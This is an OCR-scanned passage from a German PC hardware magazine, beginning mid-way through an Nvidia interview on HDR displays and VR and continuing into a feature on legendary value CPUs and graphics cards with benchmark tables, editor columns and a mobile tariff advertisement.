für 2018+. Nvidia hatte ursprüng- 
lich Gsync HDR und passende Dis- 
plays für das dritte Quartal 2017 
angekündigt - gibt es dazu ein 
Update, da es ja offenbar nicht ge- 
klappt hat? Wie schwierig ist eine 
saubere Implementierung уоп 
HDR? Wird HDR ein Standard wie 
ÁK oder Gsync/Freesync? Gibt es 
Pläne, auch Dolby Vision zu imple- 
mentieren? 


Nvidia: Nvidia hat zwei 27 Zoll 
große Gsync-HDR-Displays von 
Acer und Asus angekündigt, die 
noch dieses Jahr erscheinen sollen. 
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Diese stellen einfach die ultima- 
tiven Displays für PC-Spiele dar. 
4K-Auflösung bei 144 Hz, 1.000 
Nits Maximal-Leuchtkraft, 
in 384 Zonen unterteilte LED- 
Hintergrundbeleuchtung, DCI-P3- 
Farbumfang und eine Inputlatenz 
nahe Null - HDR10-Spiele werden 
großartig aussehen. Und wenn die 
Spieleentwickler und Grafiker an- 
fangen, ihre Assets auf die Anforde- 


eine 


rungen von HDR umzustellen, pro- 
fitieren Spieler von realistischeren 
Grafiken und einem immersiveren 
Gameplay. HDR10 wurde von der 
PC-Entwickler-Community als das 
Format für HDR-Spiele anerkannt, 
während Dolby Vision eher von der 
Filmindustrie adaptiert wird. 


PCGH: Durch 4K-Konsolen wie 
die Xbox One X wird der Bedarf 
an Ultra HD Assets immer größer. 
Wird es dadurch zu höheren Sys- 
temanforderungen für PC-Nutzer 
kommen? Die Assets werden ja im- 
mer größer. 


Der PC ist die flexibels- 
te und am besten aufrüstbare 


Spiele-Plattform auf diesem Plane- 
ten - und auch die schnellste im 
High-End-Bereich. Wenn Spiele- 
entwickler neue Titel mit immer 
grófseren Assets entwickeln, dann 
werden wir auch Spiele-PCs mit 
schnellerer Hardware sehen. Wir 
haben bereits viele High-End-Ga- 
ming-Notebooks unterschiedlicher 
Hersteller mit unserer Max-Q-Tech- 
nologie am Markt, also sieht man 
die steigenden Anforderungen be- 
reits hier in gewissem Umfang. Die 
Nachfrage nach mehr Rohleistung 
von Seiten der Entwickler hórt nie- 
mals auf - es gibt da immer eine 
kreative Idee, welche die Leistung 
aktueller Hardware übersteigt. 


PCGH: Welche Hardwarekomponen- 
ten sind für zukünftige Spiele und 
-Engines am wichtigsten? Aktuell 
ist es ja so, dass jede Grafikkarten- 
Generation tendenziell mit mehr 
lokalem Speicher kommt und Spie- 
leentwickler nutzen auch immer 
mehr VRAM in ihren Spielen. Wird 
der Trend so weitergehen oder sind 
acht Gigabyte УКАМ für die nächs- 
ten zwei bis drei Jahre ausreichend? 


Unsere GPUs werden auch 
mit der Zukunft im Hinterkopf 
entworfen und das gilt für den 
Speicher wie die grundsätzliche 
Architektur. Spieleentwickler sind 
unglaublich talentiert darin, ihre 
Titel für einen bestimmten Spei- 
cherausbau zu optimieren. Wenn 
man aber bei der Auflósung hoch- 
geht und 
Texturen hat, dann braucht man 
natürlich mehr VRAM. Der PC ist 
die perfekte Plattform dafür; man 
hat von Beginn an mehr Grafikspei- 


immer  detailliertere 


cher und die Aufrüstbarkeit sucht 
ihresgleichen. 


PCGH: Virtual Reality war ja jahre- 
lang das grofse Thema in der Tech- 
nikwelt, zwischenzeitlich war es 
aber deutlich abgekühlt. Durch die 
jüngsten Preissenkungen bei Ocu- 
Ius Rift und HTC Vive kommt aber 
wieder frischen Wind in die The- 
matik. Da VR ja eng an leistungs- 
fähige Grafikkarten gekoppelt 
ist: Wird 2018 nach Ansicht von 
Nvidia der große Durchbruch für 
Hardware und Software kommen? 
Was hindert VR eurer Ansicht nach 


aktuell am Durchstarten - Hard- 
warepreis, Content, Systemanfor- 
derungen oder etwas anderes? 


Die größte Hürde aktuell ist 
tatsächlich weder Preis, noch In- 
halte oder Hardware-Anforderun- 
gen - alle diese Punkte waren nie 
besser als jetzt. Es geht vielmehr 
darum, dass man wirklich Virtual 
Reality ausprobieren muss, um den 
Mehrwert zu verstehen, den es für 
Gaming und Entertainment, aber 
auch für die Industrie wie Archi- 
tektur, Design und Bildung mit sich 
bringt. Nach einer aktuellen Umfra- 
ge von Newzoo haben 70 Prozent 
aller Spieler tatsächlich nie Virtual 
Reality ausprobiert, also gibt es 
ein großes Wachstumspotenzial. 
Wir glauben, dass dieses Wachs- 
tum noch 2017, 2018 und darü- 
ber hinaus passieren wird. Nvidia 
glaubt daran, dass Virtual Reality 
die nächste Computing-Plattform 
ist und die Art, wie Menschen mit 
Computern interagieren, ändern 
wird. Also hat unser langfristiges 
Engagement in der VR-Industrie 
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weiterhin Bestand. 
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Legendäre Dauerb 


Immer wieder bleiben PC-Komponenten wegen ihres Preises oder zukunftsorientierter Technik lange 


renner 


Zeit nahe der Spitzengruppe und in guter Erinnerung. Wir schauen auf solche , Legenden" zurück. 


mmer mal wieder gibt es sie, die 

Hardware-Komponenten, die 
entweder für ihre Performance un- 
glaublich günstig sind, die über ei- 
nen langen Zeitraum in der Spitzen- 
gruppe ihrer jeweiligen Kategorie 
stehen oder die ein neues Segment 
begründen respektive massentaug- 
lich machen. 


PC Games Hardware blickt in die- 
sem Special auf ebensolche, teils 
geradezu legendäre Hardware-Kom- 
ponenten zurück. Als kleine Appe- 
tithäppchen seien an dieser Stelle 
etwa die Geforce 8800 GTX, der 
Core 2 Quad Q6600, AMDs Radeon 
9700/9800 sowie Athlon und Du- 
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ron genannt. Neben Grafikkarten 
und Prozessoren finden aber auch 
andere Hardware-Komponenten Er- 
wähnung, etwa Thermalrights IFX- 
14, Samsungs SSD 850 Evo oder das 
Xbox-360-Gamepad. 


Retro: Creative EAX 


Je älter die Hardware, desto eher die 
Chance auf einen Legenden-Status. 
Unglücklicherweise reichen viele 
dieser Komponenten in Zeiten zu- 
rück, als es weder die PCGH noch 


Da wir uns in diesem 

Artikel auf die Preis-Leis- 

tungs-Dauerláufer kon- 

zentrieren müssen, haben 

wir begleitend Retro-Tests und 

-Artikel aus dem Hard- und Software-Bereich 
als PDF auf der DVD untergebracht — viel 
SpaB beim Stóbern! 


einen aus heutiger Sicht modernen 
Spiele-PC gab. Bereits zu frühen 
486er-Zeiten geisterten Schablonen 
in entsprechenden Kreisen her- 
um, mit deren Hilfe man angeblich 
durch eine einfache Bohrung die ab 
Werk deaktivierte FPU der frühen 
486SX-Modelle wiederbeleben und 
so an einen voll funktionsfähigen 
und eigentlich wesentlich teureren 
486DX-Prozessor kommen konnte. 


Solche und ähnliche Geschichten 
wiederholten sich über die Jahre 
mit wechselnden Parametern. Ge- 
bohrt werden musste selten, aber 
manchmal mit einem Draht, etwas 
Silberleitlack, Bleistiftabrieb und 
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Core 2 Quad und Phenom II X6 mit Overclocking 


Core i5-6600k (4c/At) 

Phen. II X6 1055T 4,0 GHz (6c/6t) 
Phenom II X6 1100T (6c/6t 

C2Q 06600 OC @ 3,6 GHz ca 
C2Q 06600 (4c/4t 

Athlon 64 X2 6400+ (2c/2t) 


Cinebench R15 (Punkte ST/MT) 


Crysis 3 , Fields" (720p, kein AA/AF/Post-Proc.) 

Ryzen 5-1600 (6120 53; E 133,1 («837 96) 
psi ШЕШ 85,1 (+499 %) 
ENSE 79,6 (+461 %) 
ДБО 67,2 (+373 %) 

EB 41,1 (+189 %) 
ЮЮЗ 29,6 (+108 %) 
Ba 18,1 (+27 96) 
Pentium (4) ЕЕ 965 (2c/4t) EMI 14,2 (Basis) 
Video-Transcoding x264 (ältere Version, ST/MT, Fps!) 
Ryzen 5-1600 (6с/121) METAS 7,71 (+1.164 96) 
Core i5-6600k (4c/4t) E559 s 4,97 (+715 %) 
Phen. Il X6 1055T 4,0 GHz (6c/6t) ët IE 3,82 (+526 %) 
Phenom II X6 1100T (6c/6t) 10775 p 3,21 (+426 96) 
C2Q 06600 OC @ 3,6 GHz (4c/4t) ОЛЗ 2,40 (+293 96) 
C2Q 06600 (4c/4t) 08: E 1,69 (4-177 96) 
Athlon 64 X2 6400+ (2c/2t) 0,78 (+28 96) 
Pentium (4) EE 965 (2c/4t) 80,61 (Basis) 


Ryzen 5-1600 (6c/12t) Fsagip 1.149 (1.016 96) 
Phen. Il X6 1055T 4,0 GHz (6c/6t) WE xw 609 (+491 96) 

Core i5-6600k (4c/4t) E169] 606 (+488 96) 

Phenom II X6 1100T (6c/6t) [Oz EEE 505 (+390 96) 

C2Q 06600 OC @ 3,6 GHz (4c/4t) IBI 350 (+240 96) 
C2Q Q6600 (4c/4t) | E 242 (+135 %) 
Athlon 64 X2 6400+ (2c/2t) Wi 139 (+35 96) 
Pentium (4) EE 965 (2c/4t) йй 103 (Basis) 


System: Intel 297/87/77, AMD 990FX,4 GiB DDR3/4 pro Speicherkanal (Geschwindigkeit 
jeweils laut max. CPU-Spezifikation), GF GTX 780 Ti; Win 8.1U1 Pro Mimil ø 
Bemerkungen: ST = Single-Thread, ein Kern; MT = Multi-Thread, alle verfügbaren Kerne 


Bilder/Punkte 


» Besser 


Moosgummi nachgeholfen oder 
- im Falle des Athlon Classic - ein 
Goldfinger-Device 
nachgekauft werden, um Debug- 
Ports zu rekonfigurieren und so 
den Taktmultiplikator zu ändern. 
Auch sind AMDs 486 DX4/133, 
der als schnellster Vertreter seiner 
Zunft in einigen Fällen auch frühe 
Pentium-Prozessoren nassmachte, 
oder einige Soundblaster-Karten 
zwar durchaus legendär, zu mehr 
als einer ehrenhaften Erwähnung in 
diesen einleitenden Absätzen reicht 
es aber nicht. 


sogenanntes 


Zwei Begründer des Overclocking- 
Booms können und wollen wir 
nicht unerwähnt lassen: Abits BH6 
und den Celeron 300A mit dem 
Produktionscode SL2WM. Das Slot- 
1-Mainboard und der entsprechen- 
de Low-Cost-Prozessor (für dama- 
lige Intel-Verhältnisse) boten auch 
unerfahrenen Nutzern im Sommer 
1998 quasi erstmals die Möglich- 
keit, bei geringem Aufwand und 
günstigen Preisen absolute High- 
End-Leistung zu erreichen, die sich 
über eine vergleichsweise lange 
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Zeit im oberen Bereich halten konn- 
te. Ohne allzu großen Kühlungsauf- 
wand konnte man im „Soft Menu“ 
genannten OC-Bereich des BIOS be- 
quem den Front-Side-Bus von werk- 
seitigen 66 MHz um 50 Prozent auf 
100 MHz anheben und hatte damit 
einen 450 MHz schnellen Celeron - 
bei den in Costa Rica produzierten 
Modellen sogar mit guter Chance, 
dies mit der Standardspannung von 
2,0 Volt zu bewerkstelligen. Der Ce- 
leron erreichte dank des zwar nur 
128 KiByte und damit ein Viertel 
so kleinen, dafür aber mit vollem 
CPU-Takt laufenden Level-2-Caches 
das Leistungsniveau des ebenfalls 
mit 450 MHz taktenden Pentium-Il- 
Spitzenmodells. 


Der Clou: Er kostete dabei kaum 
mehr als 300 D-Mark (ca. 153 Euro, 
UVP 149 US-Dollar), anstatt das Bud- 
get mit knapp 1.400 D-Mark (UVP 
669 US-Dollar) zu belasten wie das 
damalige Intel-Topmodell, der Pen- 
tium II 450. Das fiel irgendwann 
auch Intel auf und so gab es im 
Rahmen verschiedener Preisanpas- 
sungen den PII-450 für „nur noch“ 


Vielkernprozessoren sind eine 
gute Wertanlage. 


Vergessen Sie Grafikkarten. Die Dinger veralten ein- 
fach zu schnell, auch wenn sich die Geschwindigkeit 
dabei im aktuellen Jahrzehnt verlangsamt hat. Bei Pro- 
zessoren kann man jedoch durch clevere Investitionen 
sehr, sehr lange glücklich werden. 


Faustregel: Kaufe bei einer neuen Generation ein 
Modell, von dem man zum Kaufzeitpunkt sagt, es 
habe unnötig viele Kerne. Man nehme den Core 2 
Quad 06600: Dieser Vierkerner ist zehn Jahre alt (!) 
und kann selbst heute noch zum Spielen verwendet 
werden (!!). 


4 Б 
Raffael Vótter 


Natürlich ist der geringe Takt von 2,4 GHz nicht hilfreich dabei, aber dafür gab's — 
sogar noch 2007 — das legendäre G0-Stepping. Ich besitze ein solches Gerät, das 
relativ mühelos mit 3,6 GHz arbeitet, also 50 Prozent schneller als vorgesehen. 
Der FSB-Takt liegt dabei sogar um 69 Prozent höher als von Intel spezifiziert, was 
zu einer fast linearen Leistungssteigerung mit dem Kerntakt führt. Wie Sie dem 
Artikel „Kenne deine Grenzen” entnehmen, genügt das zumindest in gehobenen 
Auflösungen, um aktuelle Grafikkarten mit Daten zu füttern. Versuchen Sie das 
mal mit einem Core 2 Duo. 


Auch der Phenom II X6 ist wie guter Wein: 2010 wurde er von keinem Spiel 
ausgelastet, doch mit jedem folgenden Jahr schneidet er relativ gesehen besser ab 
— vor allem wenn man ihn (wie ich) auf -4 GHz taktet und dabei die Nordbrücke 
nicht vergisst. Die Gulftowns, Intels erste Sechskerner, stehen sogar noch besser 
da, allerdings waren die einst ein teurer Spaß. Die Chancen stehen gut, dass die 
Ryzen-7-CPUs ebenfalls reifen, anstatt zu veralten (, FineWine"). 


Der Intel Celeron 300A — samt Übertaktung 
um 50 Prozent auf einem (generischen) 
i440-BX-Mainboard. 
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Knapp daneben: Zur Legende 
hat's nicht ganz gereicht. 


Eine Vielzahl an Komponenten verpasst den Sprung in unsere sub- 
jektive Legenden- und Dauerlàufer-Auswahl. Sie findet zum Teil hier 
Erwähnung. 


Legendär waren viele Produkte, 

doch einige waren zumindest 

anfangs viel zu teuer, um in den 

Rahmen dieses Artikels zu passen. 

Zum Beispiel hat AMD im Sommer 

1999 mit dem Athlon erstmals eine 

CPU vorgelegt, welche die Konkur- 

renz in Form des Intel Pentium II 

und Ill in allen Belangen schlagen 

konnte — leider hat AMD sich das 

auch entsprechend vergüten lassen und im Vergleich zu früheren Prozessoren aus 
gleichem Hause waren die ersten Athlons keine Sonderangebote. 


Die Ära des heimtauglichen Dual-Core-PCs läutete Abit mit dem gezeigten BP6 


ein — es konnte sogar offiziell nicht-zwei-Sockel-fähige Celeron-CPUs vereinen 
und brach so eine Preisbarrie- 

re. Für Spieler jedoch waren 

zwei Kerne einfach zu früh 

am Markt, während einige 

Anwender sich freuen 

konnten. 


knapp über 1.000 Mark. 
Der Celeron 300A war 
bald für rund 280 
Mark erhältlich, was 
dem Preis von AMDs 
damaligem Top-Mo- 
dell, dem K6-2/350, 
entsprach. Letzterer war 
flotter in Büroanwendungen, Ers- 
terer dafür in den aufkommenden 
3D-Spielen. 


Legendäre CPUs 

Da wir nun schon im Thema sind, 
machen wir am besten mit den Pro- 
zessoren weiter. Zwar haben AMDs 
komplett neu entwickelter Athlon 
(siehe Extrakasten links) und später 
auch der günstigere Ableger Duron 
dem Intel-Lager ordentlich einge- 
heizt, aufgrund der enormen Takt- 
sprünge innerhalb kürzester Zeit 
waren fast alle günstigen Prozesso- 
ren der Jahre 1999 und 2000 aller- 
dings auch schnell wieder veraltet. 


Der nächste Prozessor mit berech- 
tigtem Legendenstatus ist auch 
nicht der Pentium 3-S mit 1,4 GHz, 
welcher den krönenden Abschluss 
der Pentium-3-Ära darstellte und un- 
ter Kennern auch als „der King“ be- 
kannt ist. Denn obwohl er aufgrund 
seiner hohen Leistung, die sogar 
einige der nachfolgenden Pentium 
4 Willamette“ in den Schatten stell- 
te, zwar durchaus legendär ist, blieb 
sein Preis zu Lebzeiten durchweg 
zu hoch. Stattdessen gebührt die 
Ehre des Preis-Leistungs-Wunders 
der frühen 2000erJahre einem 
AMD-Prozessor, und zwar dem Ath- 


Im Gegensatz zur GTX bot die 
8800 GTS nicht nur viel Leistung, 
sondern auch einen guten Preis. 


lon XP 1700+ mit dem Produktions- 
kürzel AXDA1700DLT3C [...] JJUHB 
und einem Preis unterhalb von 70 
Euro. Diese nominell eher am un- 
teren Ende des AMD-Portfolios ein- 
sortierten Athlon XP mit Thorough- 
bred-Kern, 130-nm-Strukturbreite 
und 1.466 MHz Standardtakt liefsen 
sich in vielen Fàllen um mehr als 
50 Prozent auf 2.300 MHz und zum 
Teil auch noch weiter übertakten, 
während frühere XP 1700+ mit 
Palomino-Kern (180 nm) zwischen 
1.600 und 1.800 MHz schlappmach- 
ten. Damit lagen die JIUHBs auf ei- 
nem Performance-Niveau mit AMDs 
Athlon-XP-Spitzenmodell, dem XP 
3200+, der zum Launch über 500 
Euro kostete. Bis zum Erscheinen 
der - allerdings nicht mehr ganz 
so günstigen - Athlon-64-Modelle 
blieb der JIUHB damit der günstigs- 
te Einstieg in die Welt der flotten 
Spiele-PCs. Natürlich gab es auch 
unter den Athlon-64-Modellen - 
weniger beim Pentium 4 - Spar- so- 
wie Preis-Leistungs-Tipps, doch die 
Innovationsfolge speziell dank der 


Grafikkarten seit der Geforce 8800 GTX 


Grafikkarten seit Beginn der DX11-Ära 


Entwicklung zur Basis Geforce 8800 GTX (Faktor 1) 
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Entwicklung zur Basis Radeon HD 7970 (Faktor 1) 
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Bemerkungen: Die 8800 GTX gilt als Legende und markiert den Beginn der Ára moderner GPUs. Die 
grafische Darstellung der Entwicklung seit dieser Zásur zeigt, dass seitdem Rechen- und Texturleistung am 
stárksten erhóht wurden, während die Brutto-Speichertransferrate am wenigsten anstieg. 


Bemerkungen: 2012 markierte den Beginn von AMDs GCN-Àra, die in erweiterter Form auch heute noch die 
Basis der Radeon-Karten bis hin zu Vega bildet. Textur- und Rechenleistung stiegen stärker als die Speichertransfer- 
rate, Speichergröße und Pixel-Füllrate machten einen deutlicheren Sprung, Letztere speziell bei Nvidias Titan X(p). 
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1&1 ALL-NET-FLAT 


Z FLAT TELEFONIE 
V FLAT INTERNET 
v4 FLAT AUSLAND 


€/Monat* 


12 Monate, 
danach 19,99 €/Monat 


XPERIA 


HUAWEI P10 


Sony Хрегіатм X71 


Samsung Galaxy S8 


Sofort. In Ruhe Defekt? _ 
starten 5 Y ausprobieren: Morgen neu! 
NACHT TAG 


OVERNIGHT- 
Internet , LIEFERUNG 
made in 


Germany í | ( 02602 I 96 96 


*24 Monate Vertragslaufzeit. Telefonate in dt. Fest- und Handynetze und in der gesamten EU inklusive. Einmaliger Bereitstellungspreis 29,90 €, kostenlose Overnight-Lieferung 1 n d1 d e 
Auf Wunsch mit Smartphone für 10,— € mehr pro Monat, ggf. zzgl. einmaligem Gerätepreis (Höhe geräteabhängig). Tarifpreis im E-Netz. Weitere Tarife ohne einmaligen Gerätepreis u = 


AUSTAUSCH 
VOR ORT 


(Smartphone für 0,— €) sowie in D-Netz Qualität verfügbar. 100,- € Startguthaben zur Verrechnung nach dem 4. Vertragsmonat bei Wechsel des Mobilfunkanbieters und Mitnahme 
der Rufnummer. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer Straße 57, 56410 Montabaur 


* Ab hier ersetzt durch R9 280X/GTX 770 ** Gaming-Index ohne Anwendungen 


SPECIAL | Legendäre Preis-Leistungs-Tipps & Dauerläufer 


Variationen à la Tahiti 


Name: Codename Vorstellung Takt GPU Takt GPU Speichertransferrate Launch-Preis Günstigster 
Radeon ... GPU (Basis) (Boost) Ca.-Preis 
HD 7970 Tahiti XT 22.11.2011* 925 MHz = 5,5 GT/s € 499,- Ca. 250 Euro 
HD 7950 Tahiti Pro 31.01.2012 800 MHz - 5,0 GT/s € 399,- Ca. 180 Euro 
HD 7970 GE Tahiti XT2 22.06.2012 1.000 MHz 1.050 MHz 6,0 GT/s € 499,- Ca. 250 Euro 
HD 7950 Boost-Ed. Tahiti Pro 16.08.2012 850 MHz 925 MHz 5,0 GT/s K. A. (Partner-Launch) Ca. 250 Euro 
HD 7870 Boost-Ed. Tahiti LE 27.11.2012 925 MHz 975 MHz 6,0 GT/s (nur 256 Bit) = 21 Ca. 200 Euro 
R9 280X Tahiti XTL 08.10.2013 850 MHz 1.000 MHz 6,0 GT/s $ 299,- Ca. 200 Euro 
R9 280 Tahiti Pro2 04.03.2014 850 MHz 933 MHz 5,0 GT/s K. A. (Partner-Launch) Ca. 170 Euro 
*Die ersten Tests durften noch Ende 2011 ins Netz gestellt werden, kaufbar waren die Karten allerdings erst ab Januar 2012. 


Bioshock Infinite — Shader-Fest 


1.920 x 1.080, max. Details: „New Eden" 
Radeon RX Vega 64 (8.192 MiB) Een Ex 172,8 (+140 96) 
Geforce GTX 1070 (8.192 MiB) Een 170,1 (+136 96) 
Radeon RX 470 (4.096 MiB) Egan 98, 1 (+36 96) 
Geforce GTX 770 (2.048 MiB) Ett 86 (+19 %) 
Radeon R9 280X (3.072 MiB)* gn? 84,8 (4-18 96) 
Radeon HD 7970 (3.072 MiB)* ISERRIOKç⁄I€IIS IIOIIIIIÜU ZçIO,I (Basis) 
Radeon HD 7950 (3.072 MiB)* Est 59,5 (-17 %) 
Geforce GTX 580 (1.536 MiB) Est 54,2 (-25 96) 
Radeon HD 6970 (2.048 MiB) EX] 44,6 (-38 96) 
2.560 x 1.440, max. Details: „New Eden" 
Geforce GTX 1080 (8.192 MiB) Eme 121,3 (+161 %) 
Radeon RX Vega 64 (8.192 MiB) E03 115,3 (+148 90) 
Radeon RX 470 (4.096 MiB) [X8] 61,2 (+32 96) 
Radeon R9 280X (3.072 MiB)“ [Xs 55,1 (+19 %) 
Geforce GTX 770 (2.048 MiB) E51! 54,9 (+18 96) 
Radeon HD 7970 (3.072 MiB)* Eat! 46,4 (Basis) 
Radeon HD 7950 (3.072 MiB)* 99381 38,3 (-17 %) 
Geforce GTX 580 (1.536 MiB) ВЕЗИ 34,4 (-26 96) 
Radeon HD 6970 (2.048 MiB) 2711 28,7 (-38 96) 


System: Core i7-4770K @ 4,5 GHz, 797, 2 x 4 GiB DDR3-2133 Bemerkungen: Unser 
Retro-Test zeigt, dass die HD 7970 auch heute noch spielbare Fps-Raten liefern kann. Aller- 
dings ist eine aktuelle Mittelklasse-Karte wie die RX 470 bereits deutlich flotter. 


Min 2 Fps 


» Besser 


Tahiti: AMDs ewige Langläufer-GPU 


Die Tahiti-GPU(s) im PCGH-Leistungsindex 
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Zeitpunkt (-halbjährlich) 


Bemerkungen: Über einen für Grafikkarten langen Zeitraum hielten sich Modelle mit AMDs erstem GCN- 
Chip , Tahiti" in den Charts. Für genügsame Spieler liefern die inzwischen bald sechs Jahre alten Grafikkarten 
auch heute noch in vielen Spielen ausreichende Bildraten. Der 3-GiB-RAM macht sich gegenüber der konkurrie- 
renden Geforce-GTX-680 bezahlt. 
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Dual-Core- und gar nicht einmal so 
viel späteren Einführung der Qua- 
dcore-CPUs war einfach zu schnell 
für echte Dauerbrenner. 
günstig waren auch nur die wenigs- 
ten. 


Enorm 


Das änderte sich dann mit dem Core 
2 Quad Q6600 und etwas später 
mit AMDs krónendem Abschluss 
der Phenom-dLReihe. Dank vier- 
respektive sechs Kernen konnten 
diese CPUs lange Zeit noch mithal- 
ten. Wenn Sie sich die Benchmarks 
anschauen, bedenken Sie, dass der 
C2Q Q6600 inzwischen über zehn 
Jahre alt ist - zum Vergleich: Ein zu 
dessen Veróffentlichung zehn Jahre 
alter Prozessor wáre etwa ein Penti- 
um mit 200 MHz gewesen - wie der 
sich wohl anno 2007 in Anno 1701, 
Gothic 3 oder im noch im selben 
Jahr erschienenen Crysis 3 geschla- 
gen hätte? Der niedrige Werkstakt 
und das hohe OC-Potenzial, speziell 
der späteren GO-Steppings, taten 


ein Übriges, um die Langlebigkeit 
des Q6600 zu sichern. Der Preis 
zum Launch war mit rund 800 Euro 
zwar gesalzen, aber wenige Monate 
später war der Quadcore-Chip für 
gerade mal ein Viertel dessen zu 
haben. 


Aus heutiger Sicht noch etwas bes- 
ser gehalten hat sich ein anderer 
Prozessor, der allerdings auch spä- 
ter herauskam. Die Rede ist von 
AMDs Phenom II X6 - mit echten 
sechs Kernen. Die basierten auf der 
Deneb/Thuban-Ausbaustufe und 
waren damit die letzten „echten“ 
Kerne vor der Bulldozer-Ära. Gera- 
de der kleinste des Trios aus 1100T, 
1090T und 1055T erfreute sich auf- 
grund seines Preise von nur rund 
180 Euro großer Beliebtheit, denn 
das Taktpotenzial war nicht wesent- 
lich geringer als bei den teureren, 
schnelleren Chips. Für glatte 4,0 
GHz brauchte man zwar ein wenig 
Glück, kam aber noch mit einer po- 


So viele CPUs - aber der ver- 
kannte Star ist die HD 7970. 


Prozessoren sind abseits ihrer Kernzahl ein viel ausge- 
lutschterer Drops als Grafikkarten. Sie gibt es wesentlich 
länger und die , einfachen" Verbesserungen sind bereits 
vor Jahrzehnten integriert. Daher geht es heute in eher 
kleinen Schritten voran, nur die Anzahl der Kerne macht 
noch größere Sprünge. Im Gegensatz zu Grafikkarten 
sind jene speziell von Spielen jedoch viel schwerer aus- 
zulasten und die Entwicklung mündet daher nur in ge- 
ringem Leistungszuwachs für Gamer. Grafikkarten hinge- 


VAR 
Carsten Spille 


gen entwickeln sich deutlich rasanter weiter und gerade 

vor diesem Hintergrund finde ich es erstaunlich, wie gut sich AMDs Radeon HD 7970 
bis heute schlägt. Als ich kürzlich meine RX 480 verkaufte, habe ich auch wieder 
zwei Wochen mit meiner alten HD 7970 verbracht. Natürlich ist sie nicht mehr die 


modernste oder gar stromsparendste, doch die pure Leistung überzeugt nach wie vor. 
Speziell Besitzer eines 1080p-Displays können mit einer solchen Karte und mäßigem 
DC noch fast alle Titel spielen und selbst in unserem 1080p-Benchmark-Parcours (mit 


maximalen Details!) laufen 13 von 19 Spielen mit mehr als 30 Fps. 
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Für viele eine der legendärsten 


Grafikkarten: Die Geforce 8800 GTX 


— nur günstig war sie nie. 


tenten Luftkühlung aus. Im Launch- 
Test attestierten wir nur drei von 26 
Titeln eine nennenswerte Fps-Stei- 
gerung durch den Sprung von vier 
auf sechs Kerne, darunter Battle- 
field: Bad Company 2, Flugsimulator 
X und Metro 2033 - bei Letzterem 
blieben die wichtigen Minimum- 
Fps jedoch unverändert. Titel wie 
GTA 4 oder Crysis Warhead legten 
hingegen nicht zu. Bei anderen hin- 
gegen war der Zuwachs erst in der 
Minimal-Auflösung von 800 x 600 
Pixeln deutlich messbar, während 
Unterschiede in damals gebräuchli- 
cheren 1.680 x 1.050 Pixeln bereits 
im Grafiklimit verschwanden - Batt- 
lefield 2: Bad Company 2 etwa war 
so ein Kandidat. 


Dank seiner sechs Kerne liegt ein 
übertakteter Phenom II X6 in eini- 
gen moderneren Spielen gar nicht 
einmal so weit hinter dem fünf 
Jahre jüngeren Core i5-6600K und 
kann ihn im Cinebench R15 sogar 
knapp überholen. Natürlich auch 
erwähnenswert: die Core-i-2000, 
Intels erste Core-Prozessoren mit 
heute noch gebräuchlicher Tech- 
nik. Speziell Core i5-2500K und i7- 
2600K erfreuten und erfreuen sich 
durch relativ problemlose Übertak- 
tungen auf 4,2 bis 4,5 immer noch 
eines langen Lebens. In vielen Fo- 
rendiskussionen melden sich deren 
Besitzer zu Wort und äußern Zwei- 
fel an der Sinnhaftigkeit, diese „jetzt 
schon“ auszutauschen - nach inzwi- 
schen immerhin schon über sechs 
Jahren Marktpräsenz! 


Aus der aktuellen Garde dürften 
am ehesten AMDs Ryzen-Modelle 
wieder das Zeug zu Legenden ha- 
ben: der R5-1600 als aktuelle Preis- 
Leistungs-Empfehlung für Spieler 
und der R7-1700 als der Prozessor, 
Achtkerner massentauglich 
machte - aber das wird die Zeit 
zeigen. 


der 
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Grafikkarten mit Ausdauer 
Die Grafikprozessoren haben es 
prinzipiell schwerer als CPUs, über 
längere Zeit aktuell zu bleiben. 
Denn einerseits gibt es Hauptpro- 
zessoren bereits wesentlich länger, 
sodass die meisten möglichen Op- 
timierungen - speziell solche, die 
auf einen Schlag viel Performance 
bringen - dort im Gegensatz zu 
Grafikchips schon eingeflossen 
sind. GPUs haben darüber hinaus 
noch zwei weitere Probleme: Gra- 
fik skaliert prinzipiell prima mit 
mehr Pixel-, Textur- und Rechen- 
leistung, welche durch neue Ferti- 
gungstechnik und schrumpfende 
Strukturbreiten vergleichsweise 
einfach hinzugefügt werden kann 
- man muss „nur“ darauf achten, 
die Recheneinheiten auch entspre- 
chend parallel arbeiten zu lassen 
und mit ausreichend Daten zu ver- 
sorgen. 


Doch genug der Vorrede, denn 
trotz widriger Vorzeichen haben es 
ein paar Grafikkarten in unsere Lis- 
te der Legenden geschafft. Den An- 
fang macht, wie könnte es anders 
sein, 3Dfx. Noch mit großem D ge- 
schrieben, brachten die 3D-Pionie- 
re 1998 die Voodoo 2 samt SLI-Opti- 
on heraus, mit der man viele Spiele 
auch zwei Jahre später noch prob- 
lemlos und rasend schnell zocken 
konnte. Auch PowerVRs (Wieder-) 
Einstieg in den Grafikkartenmarkt 
mit der Kyro und der kurz darauf 
veröffentlichten Kyro II hatte das 
Potenzial zum Preis-Leistungs-Tipp: 
Geforce-2- und teils gar Geforce- 
3-Leistung zum Geforce-2-MX-Preis 
- da sagten viele trotz etwas inkon- 
sistenterer Performance als bei Ge- 
force und Radeon nicht nein. Best- 
leistung vor Geforce 2 Ultra und 
Geforce 3 in Clive Barker’s Undy- 
ing, konkurrenzfähig zur Geforce 
2 GTS in American McGee's Alice, 


aber abgeschlagen in Counter- 


In Sachen „Langlebigkeit” 
dürfte AMDs Radeon HD 
7970 die Geforce 8800 GTX 
überflügeln. 


NVMe SSD 


960 EVO: . 


. SAMSUNG 


dun una 
э Жаннай 


Wer einen High-End-PC hat, 
sollte nicht beim LCD sparen. 


Bei PC-Zusammenstellungen wird der Fokus oft auf 
den Prozessor und noch stärker auf die Grafikkarte 
gelegt, um möglichst viel Leistung fürs Geld zu bekom- 
men. Gefühlt — so zumindest in meinem Bekannten- 
kreis — kommt dabei der Monitor zu kurz. Was bringt 
die beste Hardware, wenn das Endergebnis schlecht 
aussieht? Der Vorteil: Investiert man einmal in ein 
ordentliches Gerät, hat man davon auch Jahre später 
etwas, wenn die Grafikkarte gegebenenfalls schon 
mehrfach ausgewechselt wurde. Mein erster „дгоВег” 
Monitor war der NEC LCD2690Wuxi, den ich nach Erscheinen des Nachfolgers für 
wenige Hundert statt über 1.000 Euro gebraucht gekauft habe. Erst sechs Jahre 
später musste er dem aktuellen Monitor aufgrund der alternden, zunehmend 
fiependen Hintergrundbeleuchtung weichen. Der Asus MG279Q bietet 144 Hertz 
